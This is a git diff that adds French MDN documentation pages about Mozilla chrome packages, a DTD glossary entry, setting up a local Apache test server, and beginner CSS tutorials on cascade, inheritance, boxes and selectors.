+ Un + + paquetage chrome + est composé d'un ensemble de + + fournisseurs chrome + . Il existe trois types basiques de fournisseurs chrome : +
    +
  • Content. il peut s'agir de n'importe quel fichier que Mozilla sait afficher. En général, le fournisseur content consiste le plus souvent en un ensemble de fichiers de liaison XUL, JavaScript et XBL.
    • +
  • Locale. Il s'agit des traductions pour le support de multiples langues. Les deux principaux types de fichiers sont les fichiers DTD et les fichiers de propriétés à la manière de Java.
    • +
  • Skin. Le fournisseur skin est responsable de la fourniture des données définissant l'apparence visuelle de l'interface utilisateur. Il est constitué de fichiers CSS et d'images.
    • +
+
+
+
+
+ chrome.rdf
+
+ Le registre chrome conserve la liste des paquetages chrome enregistrés et d'autres informations. Il se situait dans le répertoire d'installation et dans le profil. Il n'est plus utilisé depuis Gecko 1.8 (Firefox 1.5).
+
+

Voir également

+

(Note : bien que les deux documents ci-dessous mentionnent les fichiers contents.rdf, il existe un moyen plus simple de déclarer vos fournisseurs chrome depuis Firefox 1.5 / Toolkit 1.8 — l'utilisation des manifestes chrome)

+ diff --git a/files/fr/conflicting/glossary/doctype/index.html b/files/fr/conflicting/glossary/doctype/index.html new file mode 100644 index 0000000000..803f8cc228 --- /dev/null +++ b/files/fr/conflicting/glossary/doctype/index.html @@ -0,0 +1,10 @@ +--- +title: DTD +slug: Glossaire/DTD +tags: + - Encodage + - Glossaire +translation_of: Glossary/Doctype +translation_of_original: Glossary/DTD +--- +

{{page("/fr/docs/Glossaire/Doctype")}}

diff --git a/files/fr/conflicting/glossary/dom/index.html b/files/fr/conflicting/glossary/dom/index.html new file mode 100644 index 0000000000..196eda1157 --- /dev/null +++ b/files/fr/conflicting/glossary/dom/index.html @@ -0,0 +1,25 @@ +--- +title: Référence DOM Gecko +slug: Référence_DOM_Gecko +translation_of: Glossary/DOM +translation_of_original: Document_Object_Model_(DOM) +--- +
+ Table des matières du DOM Gecko
+

Préface

+ +

Introduction

+ diff --git a/files/fr/conflicting/learn/common_questions/set_up_a_local_testing_server/index.html b/files/fr/conflicting/learn/common_questions/set_up_a_local_testing_server/index.html new file mode 100644 index 0000000000..d688fcce92 --- /dev/null +++ b/files/fr/conflicting/learn/common_questions/set_up_a_local_testing_server/index.html @@ -0,0 +1,244 @@ +--- +title: Mettre en place un environnement de travail +slug: Apprendre/Mettre_en_place_un_environnement_de_travail +tags: + - Beginner + - CodingScripting + - Guide + - Learn +translation_of: Learn/Common_questions/set_up_a_local_testing_server +translation_of_original: Learn/Common_questions/Set_up_a_basic_working_environment +--- +
+

Cet article indique comment mettre en place un environnement de travail et de test afin d'organiser vos pages web.

+
+ + + + + + + + + + + + +
Prérequis :Vous devez au préalable savoir ce qu'est un serveur web, comment installer les outils de base et comment fonctionnent les noms de domaine.
Objectifs :Savoir comment installer un serveur local et mettre en place une hiérarchie de fichiers pour développer un site web.
+ +

En développement web, mieux vaut tester son site localement avant de le publier aux yeux du monde entier. Pour effectuer des tests sur votre ordinateur, vous pouvez installer un serveur local. Dans cet article nous verrons comment faire et comment organiser une hiérarchie de fichiers afin que ceux-ci soit organisés, même si le projet devient plus volumineux.

+ +

Pédagogie active

+ +

Il n'existe pas encore de matériau interactif pour cet article. N'hésitez pas à contribuer.

+ +

Aller plus loin

+ +

Installer et paramétrer un éditeur de texte

+ +

Ce point était l'objet d'un article précédent. Si ce n'est pas déjà fait, voici quelques indications sur comment procéder.

+ +

Installer un serveur web local

+ +
+

Note : Il existe différents logiciels de serveurs web qui sont disponibles (Apache, Tomcat, IIS, nginx). Apache est libre et gratuit, disponible sur plusieurs plateformes et est simple à installer. Nous illustrerons donc les exemples de cet article avec Apache.

+
+ +

Comprendre le fonctionnement de localhost

+ +

Dans le monde du {{Glossary("DNS")}}, il existe une adresse spéciale connue par chaque ordinateur : localhost. Celle-ci fait référence au serveur situé sur l'ordinateur en question. Ainsi, il est possible d'accéder à un site situé sur localhost avec votre navigateur, même sans connexion à Internet.

+ +
+

Note : Pour être plus précis, localhost pointe vers une {{Glossary("adresse IP")}} dirigeant vers votre propre machine : 127.0.0.1 ({{Glossary("IPv4")}}) ou ::1 ({{Glossary("IPv6")}}).

+
+ +

Essayez d'accéder à votre hôte local : http://localhost. Si vous obtenez un résultat semblable à l'image ci-après : félicitations ! Cela signifie que vous disposez déjà d'un serveur web installé sur votre ordinateur (par exemple Mac OS X inclut Apache préinstallé).

+ +

Basic index from the Apache HTTP server

+ +

Si vous n'obtenez pas ce résultat, il faut installer Apache.

+ +

Dans les deux cas, il faudra configurer Apache afin que celui-ci pointe vers votre répertoire de travail. Nous verrons comment faire dans la suite de cet article. Selon le système d'exploitation les opérations à effectuer varient légèrement. Nous commencerons par expliquer le mode opératoire à suivre pour Windows. Si vous n'utilisez pas Windows, vous pouvez directement aller aux sections pour Ubuntu/Linux ou pour Mac OS X.

+ +

Installer et lancer son serveur local sur Windows

+ +
Installer Apache
+ +

Sous Windows, installer Apache est légèrement compliqué. Cette page explique comment installer un binaire Apache étape par étape.

+ +

Après l'installation, allez à l'URL http://localhost/ avec votre ordinateur afin de vérifier que votre serveur fonctionne. Sinon, n'hésitez pas à utiliser un moteur de recherche ou un forum d'aide. Si vous vous posez une question, il y a de grande chance que celle-ci ait déjà été posée et qu'une réponse y ait été apportée.

+ +
Déplacer la racine de l'hôte local vers votre répertoire de travail
+ +

Sous le capôt, votre serveur web utilise {{Glossary("HTTP")}} pour afficher les fichiers situés sur votre ordinateur. Dans notre exemple, Apache affiche un fichier appelé index.html qui est situé dans un sous-répertoire des dossiers Apache. Cela serait plus utile si on pourrait utiliser un répertoire au choix.

+ +

Tout d'abord, créons un dossier puis faisons pointer le serveur web vers ce répertoire :

+ +
    +
  1. Créez un dossier appelé htdocs dans votre répertoire utilisateur : C:\Users\NomUtilisateur\htdocs, où NomUtilisateur correspond à votre nom d'utilisateur. Si vous utilisez une version de Winows plus récente, ce dossier pourra être situé à l'emplacement suivant C:\Documents and Settings\NomUtilisateur\htdocs.
    2. +
  2. Modifiez le fichier de configuration Apache situé à  l'emplacement suivant : C:\Program Files\Apache Software Foundation\conf\httpd.conf. Si nécessaire, fournissez les informations d'authentification pour l'administrateur.
    3. +
  3. Dans ce fichier, allez jusqu'à la ligne qui contient le texte suivant : DocumentRoot "C:\Users\Apache Software Foundation\htdocs". Éditez cette ligne afin qu'elle pointe vers votre répertoire htdocs : DocumentRoot "C:\Documents and Settings\NomUtilisateur\htdocs"
    4. +
  4. Dans le même fichier, repérez l'instruction <Directory> : <Directory "C:\Users\Apache Software Foundation\htdocs">. Là aussi, modifiez le répertoire pour qu'il pointe vers le dossier de travail :  <Directory "C:\Documents and Settings\NomUtilisateur\htdocs">
    5. +
  5. Sauvegardez le fichier.
    6. +
  6. Redémarrez Apache : Démarrer ➤ Apache ➤ Redémarrer Apache.
    7. +
  7. Rechargez la page localhost dans votre navigateur. Si tout s'est passé comme prévu, vous devriez voir l'index du répertoire. Par défaut, l'index correspond à la liste des fichiers du répertoire. Nous verrons par la suite comment personnaliser cette page d'index. Vous pouvez passer les instructions pour Ubuntu et Mac.
    8. +
+ +

Installer et lancer son serveur local sur Ubuntu (ou plus généralement sur Linux)

+ +
Installer Apache
+ +

Sous Ubuntu, lancez un terminal (vous pouvez utiliser le raccourci Ctrl + Alt + T) puis lancez ces commandes (saisissez votre mot de passe si besoin) :

+ +
sudo apt-get update
+sudo apt-get install apache2
+ +
+

Note : Si vous n'utilisez pas Ubuntu ou une distribution basée sur Debian, suivez ces sept étapes pour compiler et installer Apache. Vous aurez peut-être à saisir votre mot de passe. Vous pouvez utiliser un éditeur graphique plutôt que vi pour éditer les fichiers de configuration.

+
+ +

Après l'installation, accédez à http://localhost/ avec votre navigateur afin de vérifier que le serveur fonctionne. Sinon, n'hésitez pas à utiliser un moteur de recherche ou un forum d'aide. Si vous vous posez une question, il y a de grande chance que celle-ci ait déjà été posée et qu'une réponse y ait été apportée.

+ +
Déplacer la racine de l'hôte local vers votre répertoire de travail
+ +

Sous le capôt, votre serveur web utilise {{Glossary("HTTP")}} pour afficher les fichiers situés sur votre ordinateur. Dans notre exemple, Apache affiche un fichier appelé index.html qui est situé dans un sous-répertoire des dossiers Apache. Cela serait plus utile si on pourrait utiliser un répertoire au choix.

+ +

Tout d'abord, créons un dossier puis faisons pointer le serveur web vers ce répertoire :

+ + + +
        <Directory />
+                Options FollowSymLinks
+                AllowOverride None
+                Require all denied
+        </Directory>
+        <Directory /home/USERNAME/htdocs/>
+                Options Indexes FollowSymLinks MultiViews
+                AllowOverride None
+                Require all granted
+        </Directory>
+ + + +

+ +

Installer et lancer son serveur local sur Mac OS X

+ +

Apache est préinstallé avec Mac OS X. Mais il est toujours nécessaire de déplacer la racine localhost vers le répertoire de travail.

+ +

Sous le capôt, votre serveur web utilise {{Glossary("HTTP")}} pour afficher les fichiers situés sur votre ordinateur. Dans notre exemple, Apache affiche un fichier appelé index.html qui est situé dans un sous-répertoire des dossiers Apache. Cela serait plus utile si on pourrait utiliser un répertoire au choix.

+ +

Tout d'abord, créons un dossier puis faisons pointer le serveur web vers ce répertoire :

+ +
    +
  1. Créez un dossier appelé htdocs dans votre répertoire utilisateur : /Users/NomUtilisateur/htdocs, où NomUtilisateur correspond à votre nom d'utilisateur.
    2. +
  2. Ouvrez le fichier de configuration Apache situé à cet emplacement : /etc/apache2/httpd.conf.
    3. +
  3. Dans ce fichier, trouvez la ligne DocumentRoot "/Library/WebServer/Documents". puis modifiez la afin qu'elle pointe vers votre répertoire htdocs : DocumentRoot "/Users/NomUtilisateur/htdocs"
    4. +
  4. Dans ce même fichier, trouvez l'instruction <Directory> : <Directory "/Library/WebServer/Documents"> et modifiez cette ligne avec : <Directory "/Users/NomUtilisateur/htdocs">
    5. +
  5. Sauvegardez le fichier.
    6. +
  6. Redémarrez Apache avec la commande suivante sudo apachectl restart. Si nécessaire, saisissez votre mot de passe.
    7. +
  7. Rechargez la page localhost dans votre navigteur. Si tout s'est déroulé comme prévu, vous devriez pouvoir voir l'index du répertoire (cf. la capture d'écran ci-après).
    8. +
+ +

Example of Apache serving a folder autoindexing

+ +

Ajouter une page d'index

+ +

Lorsque vous visitez un site web, vous vous attendez à y trouver plus qu'une simple liste de fichiers. Il est possible d'ajouter une page d'index personnalisée pour votre site web local. Ce fichier d'index est un fichier {{Glossary("HTML")}}, il doit être intitulé index.html et il doit être placé dans le répertoire htdocs.

+ +

Pour cela, ouvrez votre éditeur de texte puis copiez le code HTML qui suit dans un nouveau fichier :

+ +
<!DOCTYPE html>
+<html>
+<head>
+  <meta charset="utf-8">
+  <title>Voici une page d'index</title>
+</head>
+
+<body>
+  <p>Ma propre page d'index</p>
+</body>
+</html>
+ +

Enregistrez ce fichier dans votre répertoire htdocs avec le nom index.html :

+ +

Example of a custom index.html file

+ +

Vous pouvez ouvrir la page http://localhost dans votre navigateur, vous aurez alors :

+ +

A custom index without any style

+ +

Organiser ses fichiers

+ +

La structure et l'organisation des fichiers est critique pour n'importe quel site web. Il est très rare qu'un site web se compose uniquement de fichiers HTML. Vous aurez vraisemblablement à intégrer des images, à mettre en forme des pages avec des fichiers {{Glossary("CSS")}} ou d'ajouter des fonctionnalités avec des fichiers {{Glossary("JavaScript")}}. Dès le début, il est nécessaire d'organiser clairement ces fichiers pour ne pas s'y perdre par la suite.

+ +

Bien entendu, vous pouvez suivre votre propre organisation mais la plus communément utilisée contient trois répertoires : images pour les images, styles pour les fichiers CSS et scripts pour les scripts. Simple et efficace.

+ +

Fichiers d'exemples

+ +

Dans les prochains articles, nous verrons comment créer une page web, comment utiliser CSS puis comment utiliser JavaScript. Nul besoin de connaître ces langages pour placer quelques fichiers d'exemples qu'on modifiera par la suite. Cela vous permettra de mieux percevoir la structure qu'on souhaite mettre en place.

+ +

Créons un nouveau fichier qui correspondra à votre feuille de style principale (là où vous écrirez toutes les règles CSS). Pour le moment, copiez-collez ce fragment de code dans un nouveau fichier dans votre éditeur de texte :

+ +
body {
+  font-family: sans-serif;
+}
+ +

Puis enregistrez le fichier dans le répertoire styles sous le nom basic.css :

+ +

Example of a custom basic.css file

+ +

Ensuite, revenez à (ou réouvrez) votre page d'index pour y insérer une référence à la feuille de styles. Pour cela, on utilisera la balise {{HTMLElement("link")}} (qu'on reverra dans les prochains articles) :

+ +
<!DOCTYPE html>
+<html>
+<head>
+  <meta charset="utf-8">
+  <title>Voici une page d'index</title>
+
+  <link rel="stylesheet" href="./styles/basic.css">
+</head>
+
+<body>
+  <p>Ma propre page d'index</p>
+</body>
+</html>
+ +

Maintenant, si vous réouvrez votre site local (vous pouvez simplement rafraîchir la page si vous avez laissé votre navigateur ouvert), vous verrez que la police a changé à cause de la feuille de style :

+ +

A custom index with style applied

+ +

Structure finale pour le projet

+ +

Reprenons. Votre structure de répertoires et de fichiers pour votre site devrait désormais ressembler à :

+ + + +

Voici la structure minimale que vous devriez avoir et qui pourra s'adapter lorsque votre projet grandira. Au fur et à mesure des développements de votre projet, n'hésitez pas à adapter et à améliorer cette structure afin qu'elle soit optimale pour votre site.

+ +

Prochaines étapes

+ +

Maintenant que nous avons vu comment organiser les fichiers et que nous avons créé quelques uns, il est temps d'écrire sa premère page web.

diff --git a/files/fr/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html b/files/fr/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html new file mode 100644 index 0000000000..d5c4ea0ea9 --- /dev/null +++ b/files/fr/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html @@ -0,0 +1,110 @@ +--- +title: Cascade et héritage +slug: CSS/Premiers_pas/Cascade_et_héritage +tags: + - CSS + - 'CSS:Premiers_pas' +translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance +translation_of_original: Web/Guide/CSS/Getting_started/Cascading_and_inheritance +--- +

 

+

Cette page met en évidence la façon dont les feuilles de style interagissent dans une cascade et comment les éléments héritent leur style de leurs parents.

+

Vous améliorerez votre feuille de style d'exemple en utilisant l'héritage pour changer le style de nombreuses parties de votre document à la fois.

+

Information : cascade et héritage

+

Le style final d'un élément peut être spécifié à de nombreux endroits, qui peuvent interagir de manière complexe. C'est ce qui rend CSS puissant, mais peut aussi le rendre déroutant et difficile à déboguer.

+

Trois sources principales d'information de style forment une cascade.

+

Celles-ci sont :

+ +

Le style de l'utilisateur modifie le style par défaut du navigateur. Le style de l'auteur du document modifie ensuite le style plus avant. Dans ce tutoriel, vous êtes l'auteur de votre document, et vous travaillez uniquement avec des feuilles de style d'auteur.

+ + + + + + + +
+ Exemple
Lorsque vous lisez ce document dans votre navigateur, une partie du style visible vient des réglages par défaut de votre navigateur pour HTML. +

Une partie du style peut venir de vos paramètres utilisateur dans les Options, ou d'un fichier userContent.css dans le profil de votre navigateur Mozilla.

+

Enfin, une partie du style provient de feuilles de style liées au document par le serveur wiki.

+
+


+ Lorsque vous ouvrez votre document d'exemple dans le navigateur, les éléments STRONG sont en gras par rapport au reste du texte. Cela provient du style par défaut du navigateur pour HTML.

+

Les éléments STRONG sont rouges. Cela provient de votre propre feuille de style.

+

Les éléments STRONG héritent aussi en grande partie du style de l'élément P, étant ses enfants. De même, l'élément P hérite en grande partie du style de l'élément BODY.

+

Pour les styles dans la cascade, les feuilles de style de l'auteur ont priorité, ensuite ceux de l'utilisateur et enfin les réglages par défaut du navigateur.

+

Pour les styles hérités, le style propre d'un nœud enfant a priorité sur le style hérité de son parent.

+

Ce ne sont pas les seules priorités qui s'appliquent. Une prochaine page du tutoriel expliquera cela plus en détail.

+ + + + + + + +
+ Plus de détails
CSS fournit également une manière pour l'utilisateur de passer outre le style de l'auteur du document, en utilisant le mot-clé !important. +

Cela signifie qu'en tant qu'auteur du document, vous ne pouvez pas toujours prédire exactement ce que vos lecteurs verront.

+

Si vous voulez connaître tous les détails de la cascade et de l'héritage, consultez Assigning property values, Cascading, and Inheritance note : ce lien existe(ra) peut-être quelque part en français dans la spécification CSS.

+
+

Action : utilisation de l'héritage

+

Éditez votre exemple de fichier CSS.

+

Ajoutez cette ligne à l'aide d'un copier-coller. Que vous la mettiez au dessus ou en dessous de la ligne déjà existante n'a pas grande importance. Cependant, l'ajouter en haut est plus logique étant donné que dans votre document l'élément P est le parent de l'élément STRONG :

+
p {color: blue; text-decoration: underline;}
+
+

Maintenant, actualisez dans votre navigateur pour voir l'effet sur votre document. Le soulignement affecte tout le texte du paragraphe, y compris les lettres initiales. Les éléments STRONG ont hérité du style souligné depuis leur élément parent P.

+

Mais les éléments STRONG sont toujours rouges. La couleur rouge est leur propre style, il a donc priorité sur la couleur bleue de leur élément parent P.

+ + + + + + + +
+ + + + + + + +
+ Avant
Cascading Style Sheets
+ 		+ + + + + + + +
+ Après
Cascading Style Sheets
+
+

 

+ + + + + + + +
+ Challenge
Modifiez votre feuille de style afin que seules les lettres rouges soient soulignées : + + + + + + +
Cascading Style Sheets
+
+

 

+

Pour continuer

+

Si vous avez eu des difficultés à comprendre cette page, ou avez des commentaires à son sujet, n'hésitez pas à contribuer à sa page de discussion.

+

Votre feuille de style d'exemple spécifie des styles pour les balises P et STRONG, qui changent le style des éléments correspondants au sein de votre document. La page suivante explique comment spécifier des styles de manière plus sélective : Les sélecteurs.

diff --git a/files/fr/conflicting/learn/css/building_blocks/index.html b/files/fr/conflicting/learn/css/building_blocks/index.html new file mode 100644 index 0000000000..fd147c876d --- /dev/null +++ b/files/fr/conflicting/learn/css/building_blocks/index.html @@ -0,0 +1,74 @@ +--- +title: Boîtes +slug: CSS/Premiers_pas/Boîtes +tags: + - CSS + - 'CSS:Premiers_pas' +translation_of: Learn/CSS/Building_blocks +translation_of_original: Web/Guide/CSS/Getting_started/Boxes +--- +

 

+

Cette page explique comment utiliser CSS pour contrôler l'espace occupé par un élément lorsqu'il est affiché.

+

Dans votre document d'exemple, vous changerez l'espacement et ajouterez des règles décoratives.

+

Information : les boîtes

+

Lorsque votre navigateur affiche un élément, celui-ci prend une certaine place. L'espace occupé est divisé en quatre parties.

+

Au centre, l'espace dont l'élément a besoin pour afficher son contenu. Autour du contenu, il y a des marges internes (padding). Autour des marges internes, il y a une bordure (border). Autour des bordures, il y a des marges extérieures (margin).

+ +

margin

border

padding

élément

Une partie de la mise en page est visible en gris.

 

 

 

élément

Ce qui apparait dans le navigateur.
+

Les marges intérieures, les bordures et les marges extérieures peuvent avoir des tailles différentes en haut, à droite, en bas et à gauche de l'élément. Chacune de ces tailles peut être zéro.

+

Les marges intérieures sont toujours de la même couleur que le fond de l'élément. Lorsque vous choisissez la couleur de fond, vous appliquez donc la couleur à l'élément lui-même et à ses marges intérieures. Celles-ci sont toujours transparentes.

+ +

margin

border

padding

élément

L'élément a un fond vert.

 

 

 

élément

Ce qui apparaît dans le navigateur.
+

Bordures

+

Vous pouvez utiliser des bordures pour décorer des éléments avec des lignes ou des encadrements.

+

Pour spécifier la même bordure tout autour d'un élément, utilisez la propriété border. Spécifiez l'épaisseur (habituellement en pixels pour l'affichage à l'écran), le style et la couleur.

+

Les styles sont :

+ +
solid (trait plein)
dotted (pointillés)
dashed (trait interrompu)
double (trait double)
inset (creux)
outset (en relief)
ridge (bordure en relief)
groove (bordure en creux)
+

Vous pouvez également définir le style à none ou hidden pour enlever explicitement la bordure, ou mettre sa couleur à transparent pour rendre celle-ci invisible sans changer la mise en page.

+

Pour spécifier les bordures un côté à la fois, utilisez les propriétés : border-top, border-right, border-bottom, border-left. Vous pouvez utiliser celles-ci pour spéficier une bordure d'un seul côté, ou différentes bordures sur différents côtés.

+ +
Exemples
Cette règle change la couleur de fond et la bordure supérieure des éléments de titre : 
h3 {
+  border-top: 4px solid #7c7; /* vert moyen */
+  background-color: #efe;     /* vert pâle */
+  color: #050;                /* vert foncé */
+  }
+

Le résultat ressemble à ceci :

Un titre avec du style


Cette règle rend les images plus faciles à voir en leur donnant une bordure grisée tout autour :

img {border: 2px solid #ccc;}
+

Le résultat ressemble à ceci :

Image : Image:ligne-bleue.png
+

Marges intérieures et extérieures

+

Utilisez les marges pour ajuster les positions des éléments et pour créer de l'espace autour d'eux.

+

Utilisez les propriétés margin et padding pour changer respectivement la largeur des marges extérieures et intérieures.

+

Si vous spécifiez une seule largeur, elle s'applique tout autour de l'élément (en haut, à droite, en bas et à gauche).

+

Si vous spécifiez deux largeurs, la première s'applique en haut et en bas, la seconde sur les côtés droits et gauches.

+

Vous pouvez spécifier les quatres largeurs dans cet ordre : haut, droite, bas, gauche.

+ +
Exemple
Cette règle marque les paragraphes de la classe remarque en leur donnant une bordure rouge tout autour.

Une marge intérieure (padding) sépare légèrement cette bordure du texte.

Une marge extérieure (margin) à gauche met le paragraphe en retrait par rapport au reste du texte :

p.remarque {
+  border: 2px solid red;
+  padding: 4px;
+  margin-left: 24px;
+  }
+

Le résultat ressemble à ceci :

Ceci est un paragraphe normal.

Ceci est une remarque.
+ +
Plus de détails
Lorsque vous utilisez des marges pour ajuster la façon dont les éléments sont placés, vos règles de style interagissent avec les réglages par défaut du navigateur de différentes manières, qui sont parfois complexes.

Différents navigateurs peuvent placer les éléments différemment. Le résultat peut sembler similaire jusqu'à ce que votre feuille de style change des choses, et celle-ci peut parfois donner des résultats surprenants.

Pour obtenir le résultat voulu, il se peut que vous ayez à changer le balisage de votre document. La page suivante de ce tutoriel donne plus d'informations à ce sujet.

Pour des informations détaillées à propos des marges et des bordures, consultez Box model dans la spécification CSS.
+

Action : ajout de bordures

+

Éditez votre fichier CSS. Ajoutez cette règle pour dessigner une ligne en travers de la page au dessus de chaque titre :

+
h3 {border-top: 1px solid gray;}
+
+
+

Si vous avez tenté le challenge sur la page précédente, modifiez la règle que vous aviez créée, sinon ajoutez cette nouvelle règle pour ajouter de l'espace sous chaque élément de liste :

+
li {
+  list-style: lower-roman;
+  margin-bottom: 8px;
+  }
+
+
+

Actualisez dans votre navigateur pour voir le résultat :

+ +

(A) Les océans

  • Arctique
  • Atlantique
  • Pacifique
  • Indien
  • Antarctique

(B) Paragraphes numérotés

1: Lorem ipsum

2: Dolor sit

3: Amet consectetuer

4: Magna aliquam

5: Autem veleum
+

 

+ +
Challenge
Ajoutez une règle à votre feuille de style pour entourer les océans d'une bordure épaisse dans une couleur rapellant celle de la mer — quelque chose comme ceci :

(A) Les océans

  • Arctique
  • Atlantique
  • Pacifique
  • Indien
  • Antarctique

(B)Paragraphes numérotés

. . .

(Il n'est pas nécessaire de retrouver exactement la même épaisseur et la même couleur qu'ici.)
+

Pour continuer

+

Si vous avez eu des difficultés à comprendre cette page, ou si vous avez d'autres commentaires à son sujet, n'hésitez pas à contribuer à sa page de discussion.

+

En spécifiant des marges, vous avez modifié la mise en page de votre document. À la page suivante, vous apprendrez d'autres manières de changer celle-ci : Mise en page.

+

{{ languages( { "en": "en/CSS/Getting_Started/Boxes", "pl": "pl/CSS/Na_pocz\u0105tek/Bloki", "pt": "pt/CSS/Como_come\u00e7ar/Caixas" } ) }}

diff --git a/files/fr/conflicting/learn/css/building_blocks/selectors/index.html b/files/fr/conflicting/learn/css/building_blocks/selectors/index.html new file mode 100644 index 0000000000..d3ab8e9794 --- /dev/null +++ b/files/fr/conflicting/learn/css/building_blocks/selectors/index.html @@ -0,0 +1,137 @@ +--- +title: Les propriétés CSS et comment s'en servir +slug: Apprendre/CSS/Les_propriétés_CSS +tags: + - Beginner + - CSS + - CodingScripting + - NeedsActiveLearning +translation_of: Learn/CSS/Building_blocks/Selectors +translation_of_original: Learn/CSS/CSS_properties +--- +
{{IncludeSubnav("/fr/Apprendre")}}
+
+

{{Glossary("CSS")}} définit l'apparence d'une page web. Il utilise des règles prédéfinies à l'aide de sélecteurs et de propriétés pour appliquer différents styles aux éléments et groupes d'éléments HTML.

+
+ + + + + + + + + + + + +
Prérequis :Comprendre les bases de {{Glossary("HTML")}}, des éléments HTML, et comment lier des documents HTML aux feuilles de style CSS.
Objectif :Connaître différents sélecteurs et propriétés CSS afin d'appliquer une mise en forme simple sur une page web.
+ +

Séparer le contenu de la mise en forme rend le développement web plus rapide et facile. En définissant la structure du document uniquement dans votre fichier HTML, tandis que les informations de mise en forme sont indiquées pour leur part dans un fichier séparé (appelé feuille de style), vous pouvez mettre à jour la mise en forme de nombreux documents en une seule fois (et en profiter pour économiser des ressources ordinateur en même temps).

+ +

La syntaxe CSS fait appel à des mots-clés intuitifs et faciles à utiliser.

+ +
p {
+   font-family: "Times New Roman", georgia, sans-serif;
+   font-size: 24px;
+}
+ +

Dans l'exemple précédent,  p est un sélecteur qui applique un style à tous les éléments {{HTMLElement("p")}} en même temps. Les propriétés CSS font-family et font-size sont incluses dans des accolades et les valeurs correspondantes, juste après les deux-points, déterminent le style à appliquer.

+ +

Il existe plus de 250 propriétés pour mettre en forme votre document. Du texte à la mise en page complexe, (presque) tout est possible.

+ +

Pédagogie active

+ +

Il n'y a, pour le moment, pas d'apprentissage actif pour cette section. Vous pouvez néanmoins contribuer.

+ +

Aller plus loin

+ +

Si les propriétés sont plutôt simples à utiliser, il en va parfois autrement des sélecteurs. Ne vous inquiétez pas, ce n'est pas si ardu et les maitriser permet de tirer parti du grand potentiel du CSS. Dans les exemples qui suivent, nous allons faire connaissance avec les sélecteurs les plus courants.

+ +

Pour définir une règle CSS, on utilise des sélecteurs qu'on associe à des propriétés. Ces sélecteurs déterminent quels élements vont recevoir les propriétés précisées dans la règle. Notez que plusieurs règles peuvent s'appliquer à un même élément. La cascade CSS (dont on reparlera plus tard) définit alors quelle règle s'appliquera en cas de conflit. Pour l'instant, retenez simplement que la règle contenant les sélecteurs les plus précis prend le dessus sur les règles avec les sélecteurs plus basiques.

+ +

Le sélecteur d'élément

+ +

Les sélecteurs d'éléments désignent des éléments HTML uniquement par leur nom. De plus, comme tous les sélecteurs CSS, vous pouvez appliquer un ensemble de propriétés communes à plusieurs élements à la fois.

+ +

Pour notre premier exemple, intéressons nous au fragment de code HTML suivant :

+ +
<h1>Je suis un exemple.</h1>
+<p>Dans cet exemple, je suis un paragraphe.</p>
+<p>Et je suis un second paragraphe.</p>
+
+ +

Dans la règle CSS qui suit, le sélecteur d'élement p applique les styles définis à tous les éléments {{HTMLElement("p")}} de notre document HTML simultanément, évitant ainsi d'inutiles répétitions. On utilise la propriété {{cssxref("font-family")}} (qui définit la police avec laquelle le texte apparait) et {{cssxref("font-size")}} (qui définit pour sa part la taille du texte).

+ +
p {
+  font-family: "Helvetica", Arial, sans-serif;
+  font-size  : 12px;
+}
+ +

La prochaine règle CSS s'applique uniquement à l'élément {{HTMLElement("h1")}}. On fait appel à la propriété {{cssxref("font-size")}} pour que la taille du titre soit deux fois plus grande que celle du texte et à la propriété {{cssxref("font-weight")}} pour qu'il soit également en gras.

+ +
h1 {
+  font-size  : 24px;
+  font-weight: bold;
+}
+ +

La règle CSS suivante applique les styles demandés à la fois aux éléments {{HTMLElement("h1")}} et aux éléments {{HTMLElement("p")}}, cela permet potentiellement d'éviter des redondances inutiles dans le code. Cette façon de procéder est appelée « groupe de sélecteurs » ou « chaîne de sélecteurs ». Notez qu'un point virgule est nécessaire pour séparer les sélecteurs. Ici nous utilisons la propriété {{cssxref("color")}} pour appliquer la même couleur au texte des h1 et à celui des paragraphes.

+ +
h1, p {
+  color: darkmagenta;
+}
+ +

Voici le résultat obtenu avec ce code :

+ +

{{EmbedLiveSample('Le_sélecteur_d\'élément')}}

+ +

Le sélecteur id

+ +

L'attribut id d'un élément HTML donné permet d'identifier de façon unique cet élément. Par conséquent, un sélecteur id est utilisé uniquement lorsqu'un ensemble de règles de style s'applique à un seul élement.

+ +

Pour notre prochain exemple, prenons le fragment de code HTML suivant :

+ +
<p id="coucou">Coucou monde !</p>
+ +

La règle CSS suivante s'applique exclusivement à cet élément, identifié et unique. Pour transformer un sélecteur ordinaire en sélecteur id, il suffit de placer un signe dièse (#) devant le nom de l'identifiant (id). Nous faisons appel à trois propriétés : {{cssxref("text-align")}} pour centrer le texte dans le paragraphe,  {{cssxref("border")}} pour encadrer le paragraphe d'un cadre fin, et {{cssxref("padding")}} afin d'ajouter une marge intérieure supplémentaire entre le texte et le cadre.

+ +
#coucou {
+  text-align: center;
+  border    : 1px solid black;
+  padding   : 8px;
+}
+ +

Voici le résultat final obtenu:

+ +

{{EmbedLiveSample('Le_sélecteur_id')}}

+ +

Le sélecteur class

+ +

À l'intérieur du code HTML, l'attribut class permet de donner des identifiants multiples aux élements HTML. Ces identifiants peuvent ainsi être combinés avec le CSS pour regrouper des élements en fonction de leur nom.

+ +

Pour notre prochain exemple, analysez le fragment de code HTML suivant :

+ +
<h1 class="coucou">Coucou !</h1>
+<p class="coucou salut">Retrouvons-nous !</p>
+<p class="salut">Et déplaçons des montagnes.</p>
+
+ +

Nous allons appliquer une règle CSS à tous les éléments contenant la classe coucou. Pour transformer un sélecteur en sélecteur class, placez simplement un point devant le nom de la classe (de la même manière que nous avions mis un signe dièse dans le cas précédent). Nous utilisons ici la propriété {{cssxref("font-style")}} pour mettre le texte en italique.

+ +
.coucou {
+  font-style: italic;
+}
+ +

En voici une autre pour tous les éléments avec la classe salut. Ici, nous utilisons la propriété {{cssxref("text-decoration")}} pour barrer le texte d'une ligne.

+ +
.salut {
+  text-decoration: line-through;
+}
+ +

Voici le résultat obtenu :

+ +

{{EmbedLiveSample('Le_sélecteur_class')}}

+ +

Prochaines étapes

+ +

Nous venons de voir les bases pour commencer en CSS. Vous pouvez maintenant en apprendre davantage sur le formatage du texte ou commencer à explorer nos tutoriels CSS dès maintenant.

